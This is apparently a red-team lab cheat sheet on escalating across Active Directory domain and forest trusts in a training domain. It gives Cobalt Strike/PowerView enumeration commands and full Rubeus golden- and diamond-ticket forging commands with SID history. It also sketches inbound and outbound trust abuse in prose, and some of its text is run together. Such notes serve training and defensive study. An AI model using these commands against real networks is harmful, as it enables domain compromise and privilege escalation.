Forest and Domain Trusts
Forest and Domain Trusts
Enumerate the Domain Trust (Use -Domain attribute to enumerate other domains)
beacon> powerpick Get-DomainTrustPrivEsc : Child (DEV.CYBERBOTIC.IO) to Parent (CYBERBOTIC.IO) within Same Domain via SID History
Enumerate basic info required for creating forged ticket
beacon> powerpick Get-DomainGroup -Identity "Domain Admins" -Domain cyberbotic.io -Properties ObjectSid
beacon> powerpick Get-DomainController -Domain cyberbotic.io | select Name
beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Domain cyberbotic.io | select MemberNameUse Golden Ticket technique
PS C:\Users\Attacker> C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe golden /aes256:<aes256> /user:Administrator /domain:dev.cyberbotic.io /sid:S-1-5-21-569305411-121244042-2357301523 /sids:S-1-5-21-2594061375-675613155-814674916-512 /nowrapOr, Use Diamond Ticket technique
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:519 /sids:S-1-5-21-2594061375-675613155-814674916-519 /krbkey:<krbtgt-aes256> /nowrapInject the ticket
Exploiting Inbound Trusts (Users in our domain can access resources in foreign domain)
We can enumerate the foreign domain with inbound trust
Check if members in current domain are part of any group in foreign domain
Fetch the AES256 hash of nlamb user identfied in previous steps
We can create Inter-Realm TGT for user identified in above steps (/aes256 has users hash)
Inject the ticket
Exploiting Outbound Trusts (Users in other domain can access resources in our domain)
Enumerate the outbound trust (msp.com) in parent domain (cyberbotic.io)
Enumerate the TDO to fetch the shared trust key
To be execute on the DC having outbound trust
OR, Use DCSync to get the ntlm hash of TDO object remotely
There is a "trust account" which gets created in trusted domain (msp.com) by the name of trusting domain (CYBER$), it can be impersonated to gain normal user access (/rc4 is the NTLM hash of TDO Object)
Inject the ticket
Last updated